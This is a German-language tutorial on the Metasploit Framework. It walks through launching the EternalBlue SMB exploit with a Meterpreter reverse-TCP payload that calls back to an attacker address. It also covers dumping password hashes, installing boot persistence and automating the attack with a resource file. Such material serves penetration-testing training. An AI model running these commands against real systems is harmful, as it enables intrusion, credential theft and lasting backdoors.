Metasploit Framework

1. Starten der msfconsole

Um die Metasploit-Konsole zu starten, gibt man einfach den folgenden Befehl im Terminal ein:

$ msfconsole

Dies lädt die Hauptschnittstelle von Metasploit. Nach dem Start erscheint eine Begrüßungsmeldung mit einer Eingabeaufforderung (msf >), an der du Befehle eingeben kannst.


2. Grundlagen der msfconsole

2.1 Hilfe anzeigen

Um alle verfügbaren Befehle und deren Beschreibung anzuzeigen, kannst du den folgenden Befehl nutzen:

msf > help

Dies zeigt eine Liste aller wichtigen Befehle der msfconsole an.

2.2 Module durchsuchen und verwenden

Metasploit enthält eine Vielzahl von Modulen, die in folgende Kategorien unterteilt sind:

  • Exploits: Code, der Schwachstellen auf dem Zielsystem ausnutzt.

  • Payloads: Der Code, der nach einem erfolgreichen Exploit auf dem Zielsystem ausgeführt wird.

  • Encoders: Techniken, um Payloads zu verschleiern und der Erkennung zu entgehen.

  • Auxiliary Modules: Module, die zusätzliche Funktionen bieten, wie z.B. Scans, Fingerprinting oder DOS-Attacken.

2.3 Module durchsuchen

Um nach einem bestimmten Modul zu suchen, kannst du den Befehl search verwenden. Zum Beispiel, um nach einem SMB-Exploit zu suchen:

msf > search smb

Die Ausgabe zeigt dir eine Liste aller Module, die mit SMB zu tun haben, zusammen mit deren Rang, Name und Beschreibung.

2.4 Module verwenden

Nachdem du ein passendes Modul gefunden hast, wähle es mit dem Befehl use aus. Wenn du zum Beispiel den SMB-Exploit exploit/windows/smb/ms17_010_eternalblue verwenden möchtest, führst du folgenden Befehl aus:

msf > use exploit/windows/smb/ms17_010_eternalblue

Die Eingabeaufforderung ändert sich dann auf das Modul:

msf exploit(ms17_010_eternalblue) >

2.5 Informationen zu einem Modul anzeigen

Um Informationen über das ausgewählte Modul anzuzeigen, benutze den Befehl info:

msf exploit(ms17_010_eternalblue) > info

Dieser Befehl zeigt dir eine detaillierte Beschreibung des Moduls, die benötigten Optionen und mögliche Payloads.


3. Konfiguration und Ausführung eines Exploits

3.1 Ziele und Optionen festlegen

Jedes Modul hat spezifische Optionen, die konfiguriert werden müssen, z.B. die Ziel-IP-Adresse oder den Port. Diese Optionen kannst du mit dem Befehl show options anzeigen:

msf exploit(ms17_010_eternalblue) > show options

Um eine bestimmte Option zu setzen, benutzt du den Befehl set. Beispiel: Um die Ziel-IP-Adresse (RHOSTS) auf 192.168.1.10 zu setzen, gibst du folgenden Befehl ein:

msf exploit(ms17_010_eternalblue) > set RHOSTS 192.168.1.10

3.2 Payloads festlegen

Nachdem die Optionen konfiguriert sind, musst du einen Payload auswählen. Du kannst dir die verfügbaren Payloads anzeigen lassen:

msf exploit(ms17_010_eternalblue) > show payloads

Wähle dann einen Payload aus. Zum Beispiel den Reverse-TCP-Payload:

msf exploit(ms17_010_eternalblue) > set PAYLOAD windows/meterpreter/reverse_tcp

Du kannst den Payload ebenfalls konfigurieren, z.B. die IP-Adresse (LHOST) und den Port (LPORT), auf dem du auf die Verbindung wartest:

msf exploit(ms17_010_eternalblue) > set LHOST 192.168.1.5
msf exploit(ms17_010_eternalblue) > set LPORT 4444

3.3 Exploit ausführen

Nachdem alle Optionen und Payloads gesetzt sind, kannst du den Exploit mit folgendem Befehl starten:

msf exploit(ms17_010_eternalblue) > exploit

Alternativ kannst du run verwenden, das denselben Effekt hat:

msf exploit(ms17_010_eternalblue) > run

Wenn der Exploit erfolgreich ist, erhältst du eine Verbindung zum Zielsystem, z.B. eine Meterpreter-Shell, die dir erlaubt, weitere Kommandos auf dem Zielsystem auszuführen.


4. Post-Exploitation mit Meterpreter

Wenn du erfolgreich eine Meterpreter-Shell erlangt hast, kannst du viele nützliche Befehle ausführen, um das Zielsystem zu kontrollieren.

4.1 Wichtige Meterpreter-Befehle

  • sysinfo: Zeigt Informationen über das Zielsystem an.

    meterpreter > sysinfo
  • getuid: Zeigt den Benutzer an, unter dem die Shell läuft.

    meterpreter > getuid
  • upload/download: Dateien auf das Zielsystem hoch- oder herunterladen.

    meterpreter > upload /local/path /remote/path
    meterpreter > download /remote/path /local/path
  • shell: Öffnet eine normale Command-Shell auf dem Zielsystem.

    meterpreter > shell
  • screenshot: Erstellt einen Screenshot des Zielsystems.

    meterpreter > screenshot
  • hashdump: Extrahiert die Passwort-Hashes des Zielsystems (Windows).

    meterpreter > hashdump

4.2 Persistence und Beibehaltung der Kontrolle

Um eine persistente Verbindung zum Zielsystem einzurichten, kannst du verschiedene Module verwenden, die Metasploit bietet. Zum Beispiel kannst du den Meterpreter-Command persistence nutzen, um bei jedem Neustart des Zielsystems eine Verbindung herzustellen.

msf > run persistence -U -i 5 -p 4444 -r 192.168.1.5
  • -U: Startet beim Booten des Systems.

  • -i 5: Versucht alle 5 Sekunden, eine Verbindung herzustellen.

  • -p 4444: Verwendet den Port 4444.

  • -r 192.168.1.5: Verbindet sich zurück zu der IP des Angreifers.


5. Nützliche Befehle und Tipps

5.1 Sessions verwalten

Manchmal hast du mehrere Sitzungen gleichzeitig offen. Mit dem Befehl sessions kannst du diese anzeigen und verwalten.

  • Alle Sitzungen anzeigen:

    msf > sessions -l
  • Zu einer spezifischen Sitzung wechseln:

    msf > sessions -i <session-id>

5.2 Jobs und Exploits im Hintergrund laufen lassen

Du kannst Exploits im Hintergrund laufen lassen, indem du exploit -j verwendest. Dies ist nützlich, wenn du mehrere Exploits parallel laufen lassen möchtest:

msf exploit(ms17_010_eternalblue) > exploit -j

5.3 Automatisierung mit Resource Files

Du kannst eine Reihe von Befehlen in eine Datei schreiben und diese mit Metasploit ausführen lassen, um Arbeitsabläufe zu automatisieren. Zum Beispiel, um einen Scan oder Exploit-Angriff automatisch durchzuführen. Erstelle eine Datei, z.B. exploit.rc, und füge folgende Befehle hinzu:

msf > use exploit/windows/smb/ms17_010_eternalblue
msf > set RHOSTS 192.168.1.10
msf > set PAYLOAD windows/meterpreter/reverse_tcp
msf > set LHOST 192.168.1.5
msf > set LPORT 4444
msf > exploit

Dann kannst du das Resource-File in msfconsole laden:

msf > resource /path/to/exploit.rc

Last updated